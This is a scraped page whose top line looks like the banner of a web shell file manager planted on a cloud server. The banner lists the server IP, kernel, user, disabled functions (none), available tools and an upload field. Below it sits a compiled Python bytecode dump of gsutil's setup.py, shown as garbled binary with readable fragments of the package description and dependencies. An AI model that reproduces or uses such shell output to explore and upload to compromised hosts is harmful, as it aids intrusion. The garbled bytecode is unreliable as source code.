| Server IP : 35.236.43.222 / Your IP : 216.73.216.143 Web Server : Apache System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64 User : deploy ( 1002) PHP Version : 8.1.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /lib/google-cloud-sdk/platform/gsutil/__pycache__/ |
Upload File : |
�
��V � � � d Z ddlZddlmZ ddlmZ ddlmZ ddlmZ dZdZ g d �Z
ej � ej �
e� � � � Z eej � ed
� � d� � 5 Ze� � � � � � Zddd� � n# 1 swxY w Y eej � ed� � d� � 5 Ze� � � Zddd� � n# 1 swxY w Y d
� Z G d� dej � � Z G d� dej � � Z ed5i dd�de�dd�dd�dd�dd�dd�dd �d!e �d"e�d#d$�d%g d&��d'd(�d)d*�d+ ed,g�-� � �d.d$�d/d0d1gi�d2e
�d3eed4��� dS )6z%Setup installation module for gsutil.� N)�
find_packages)�setup)�build_py)�sdistz
text/plainay
gsutil is a Python application that lets you access Google Cloud Storage from
the command line. You can use gsutil to do a wide range of bucket and object
management tasks, including:
* Creating and deleting buckets.
* Uploading, downloading, and deleting objects.
* Listing buckets and objects.
* Moving, copying, and renaming objects.
* Editing object and bucket ACLs.
)zargcomplete>=1.9.4zcrcmod>=1.7zfasteners>=0.14.1zgcs-oauth2-boto-plugin>=3.2zgoogle-apitools>=0.5.32zhttplib2==0.20.4zgoogle-reauth>=0.1.0z,mock>=2.0.0, <=3.0.5; python_version < "3.3"zmonotonic>=1.4zpyOpenSSL>=0.13zretry_decorator>=1.0.0zsix>=1.16.0zgoogle-auth[aiohttp]==2.17.0zgoogle-auth-httplib2>=0.2.0�VERSION�r�CHECKSUMc �� � t j � |d� � }| � |� � t t j � |d� � d� � 5 }|� t � � ddd� � n# 1 swxY w Y t t j � |d� � d� � 5 }|� t � � ddd� � dS # 1 swxY w Y dS )zFPopulates necessary files into the gslib module and unit test modules.�gslibr �wNr )�os�path�join�mkpath�open�writer r )�self�
target_dir�fps �platform/gsutil/setup.py�PlaceNeededFilesr C sD � ��w�|�|�J��0�0�*��+�+�j���� �B�G�L�L��Y�/�/��5�5� ���H�H�W����� � � � � � � � � � ���� � � � � �B�G�L�L��Z�0�0�#�6�6� �"��H�H�X����� � � � � � � � � � � ���� � � � � � s$ �$B�B�B�C,�,C0�3C0c � � e Zd ZdZd� Zd� ZdS )�
CustomBuildPyzBExcludes update command from package-installed versions of gsutil.c � � |D ]}d|v rt j |� � �t j � | |� � d S )Nzgslib/commands/update.py)r
�unlinkr �byte_compile)r �files�filenames r r zCustomBuildPy.byte_compileT sN � �� � ��
$�x� /� /�
� �(�������"�"�4��/�/�/�/�/� c � � | j s6t | | j � � t j � | � � d S d S �N)�dry_runr � build_libr �run)r s r r$ zCustomBuildPy.run^ sE � ��<� "��t�T�^�,�,�,�����D�!�!�!�!�!�"� "r N)�__name__�
__module__�__qualname__�__doc__r r$ � r r r r Q s8 � � � � � �J�J�0� 0� 0�"� "� "� "� "r r c � � e Zd Zd� ZdS )�CustomSDistc �h � t j � | ||� � t | |� � d S r! )r �make_release_treer )r �base_dirr s r r- zCustomSDist.make_release_treef s2 � � �K�!�!�$��%�8�8�8��T�8�$�$�$�$�$r N)r% r&